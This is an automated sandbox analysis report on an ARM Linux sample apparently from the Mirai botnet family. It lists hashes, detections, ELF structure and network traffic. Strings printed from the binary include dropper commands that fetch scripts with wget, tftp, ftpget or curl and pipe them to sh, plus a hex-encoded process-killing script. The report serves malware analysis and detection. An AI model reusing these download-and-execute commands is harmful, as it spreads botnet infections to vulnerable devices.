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Linux Analysis Report
nklarm6.elf

Overview

General Information

Sample name:nklarm6.elf
Analysis ID:1643388
MD5:553e4be6150f6bdc138aff7b729ac204
SHA1:3b7604262d17b1cb23e7f8558ad1349f77343cf4
SHA256:56f9efb5a04843f6739ce0b890a2804f697c0d295f0e2b5eed3aa074d7155c45
Tags:elfuser-abuse_ch
Infos:

Detection

Score:48
Range:0 - 100

Signatures

Multi AV Scanner detection for submitted file
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Joe Sandbox version:42.0.0 Malachite
Analysis ID:1643388
Start date and time:2025-03-19 20:07:06 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 29s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:nklarm6.elf
Detection:MAL
Classification:mal48.linELF@0/0@2/0
Command:/tmp/nklarm6.elf
PID:5479
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • nklarm6.elf (PID: 5479, Parent: 5401, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/nklarm6.elf
  • cleanup
No yara matches
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: nklarm6.elfVirustotal: Detection: 43%Perma Link
Source: nklarm6.elfReversingLabs: Detection: 41%
Source: nklarm6.elfString: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4lw
Source: global trafficTCP traffic: 192.168.2.14:46540 -> 185.125.190.26:443
Source: unknownTCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknownTCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
Source: nklarm6.elfString found in binary or memory: http:///curl.sh
Source: nklarm6.elfString found in binary or memory: http:///wget.sh
Source: unknownNetwork traffic detected: HTTP traffic on port 46540 -> 443
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sampleString containing 'busybox' found: /bin/busybox
Source: Initial sampleString containing 'busybox' found: usage: busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname Day2
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper telnet
Source: Initial sampleString containing 'busybox' found: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\
Source: ELF static info symbol of initial sample.symtab present: no
Source: classification engineClassification label: mal48.linELF@0/0@2/0
Source: /tmp/nklarm6.elf (PID: 5479)Queries kernel information via 'uname': Jump to behavior
Source: nklarm6.elf, 5479.1.000055e66949e000.000055e6695cc000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/arm
Source: nklarm6.elf, 5479.1.00007ffc93754000.00007ffc93775000.rw-.sdmpBinary or memory string: ;x86_64/usr/bin/qemu-arm/tmp/nklarm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nklarm6.elf
Source: nklarm6.elf, 5479.1.000055e66949e000.000055e6695cc000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
Source: nklarm6.elf, 5479.1.00007ffc93754000.00007ffc93775000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
Source: nklarm6.elf, 5479.1.00007ffc93754000.00007ffc93775000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting
Valid AccountsWindows Management Instrumentation1
Scripting
Path InterceptionDirect Volume AccessOS Credential Dumping11
Security Software Discovery
Remote ServicesData from Local System1
Encrypted Channel
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
Non-Application Layer Protocol
Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive2
Application Layer Protocol
Automated ExfiltrationData Encrypted for Impact
No configs have been found
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1643388 Sample: nklarm6.elf Startdate: 19/03/2025 Architecture: LINUX Score: 48 8 185.125.190.26, 443 CANONICAL-ASGB United Kingdom 2->8 10 daisy.ubuntu.com 2->10 12 Multi AV Scanner detection for submitted file 2->12 6 nklarm6.elf 2->6         started        signatures3 process4

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand
SourceDetectionScannerLabelLink
nklarm6.elf44%VirustotalBrowse
nklarm6.elf42%ReversingLabsLinux.Backdoor.Mirai
No Antivirus matches
No Antivirus matches
No Antivirus matches

Download Network PCAP: filteredfull

NameIPActiveMaliciousAntivirus DetectionReputation
daisy.ubuntu.com
162.213.35.25
truefalse
    high
    NameSourceMaliciousAntivirus DetectionReputation
    http:///wget.shnklarm6.elffalse
      high
      http:///curl.shnklarm6.elffalse
        high
        • No. of IPs < 25%
        • 25% < No. of IPs < 50%
        • 50% < No. of IPs < 75%
        • 75% < No. of IPs
        IPDomainCountryFlagASNASN NameMalicious
        185.125.190.26
        unknownUnited Kingdom
        41231CANONICAL-ASGBfalse
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                            No context
                            No context
                            No created / dropped files found
                            File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
                            Entropy (8bit):6.080144358287051
                            TrID:
                            • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                            File name:nklarm6.elf
                            File size:67'060 bytes
                            MD5:553e4be6150f6bdc138aff7b729ac204
                            SHA1:3b7604262d17b1cb23e7f8558ad1349f77343cf4
                            SHA256:56f9efb5a04843f6739ce0b890a2804f697c0d295f0e2b5eed3aa074d7155c45
                            SHA512:8689040b5686efddc238473b941435ab0a71b1c8f44f7b11c3dbf702b689bf3ac84429d2e7e3af5597108eb5b7c4af44ec69c3c6b514062e86097eaa8932e574
                            SSDEEP:1536:rAnXDTepNsTYazrbedcSiai3PGGeZIw+b3M0i6X0a1K8XPbbBR:2TWNarCdAlOGe6X0a1K8XPb
                            TLSH:3763F996F8818A66C5D852BEB92E11CD331317B8D2DF7313DD106F647B8A92B0E3B901
                            File Content Preview:.ELF..............(.....T...4...........4. ...(.....................................................x...............Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../.t.............-.@0....S

                            ELF header

                            Class:ELF32
                            Data:2's complement, little endian
                            Version:1 (current)
                            Machine:ARM
                            Version Number:0x1
                            Type:EXEC (Executable file)
                            OS/ABI:UNIX - System V
                            ABI Version:0
                            Entry Point Address:0x8154
                            Flags:0x4000002
                            ELF Header Size:52
                            Program Header Offset:52
                            Program Header Size:32
                            Number of Program Headers:3
                            Section Header Offset:66540
                            Section Header Size:40
                            Number of Section Headers:13
                            Header String Table Index:12
                            NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                            NULL0x00x00x00x00x0000
                            .initPROGBITS0x80940x940x100x00x6AX004
                            .textPROGBITS0x80b00xb00xf0dc0x00x6AX0016
                            .finiPROGBITS0x1718c0xf18c0x100x00x6AX004
                            .rodataPROGBITS0x1719c0xf19c0xf600x00x2A004
                            .init_arrayINIT_ARRAY0x201000x101040x40x00x3WA004
                            .fini_arrayFINI_ARRAY0x201040x101080x40x00x3WA004
                            .jcrPROGBITS0x201080x1010c0x40x00x3WA004
                            .gotPROGBITS0x2010c0x101100x740x40x3WA004
                            .dataPROGBITS0x201800x101840x1f40x00x3WA004
                            .bssNOBITS0x203740x103780x25480x00x3WA004
                            .ARM.attributesARM_ATTRIBUTES0x00x103780x100x00x0001
                            .shstrtabSTRTAB0x00x103880x620x00x0001
                            TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                            LOAD0x00x80000x80000x100fc0x100fc6.10800x5R E0x8000.init .text .fini .rodata
                            LOAD0x101000x201000x200fc0x2780xa7bc3.16960x6RW 0x8000.init_array .fini_array .jcr .got .data .bss
                            GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

                            Download Network PCAP: filteredfull

                            • Total Packets: 4
                            • 443 (HTTPS)
                            • 53 (DNS)
                            TimestampSource PortDest PortSource IPDest IP
                            Mar 19, 2025 20:08:01.448132992 CET46540443192.168.2.14185.125.190.26
                            Mar 19, 2025 20:08:32.933909893 CET46540443192.168.2.14185.125.190.26
                            TimestampSource PortDest PortSource IPDest IP
                            Mar 19, 2025 20:07:54.678548098 CET3916153192.168.2.141.1.1.1
                            Mar 19, 2025 20:07:54.678613901 CET3761253192.168.2.141.1.1.1
                            Mar 19, 2025 20:07:54.686285973 CET53376121.1.1.1192.168.2.14
                            Mar 19, 2025 20:07:54.686301947 CET53391611.1.1.1192.168.2.14
                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                            Mar 19, 2025 20:07:54.678548098 CET192.168.2.141.1.1.10x9e4cStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
                            Mar 19, 2025 20:07:54.678613901 CET192.168.2.141.1.1.10xe12aStandard query (0)daisy.ubuntu.com28IN (0x0001)false
                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                            Mar 19, 2025 20:07:54.686301947 CET1.1.1.1192.168.2.140x9e4cNo error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false
                            Mar 19, 2025 20:07:54.686301947 CET1.1.1.1192.168.2.140x9e4cNo error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false

                            System Behavior

                            Start time (UTC):19:07:52
                            Start date (UTC):19/03/2025
                            Path:/tmp/nklarm6.elf
                            Arguments:/tmp/nklarm6.elf
                            File size:4956856 bytes
                            MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1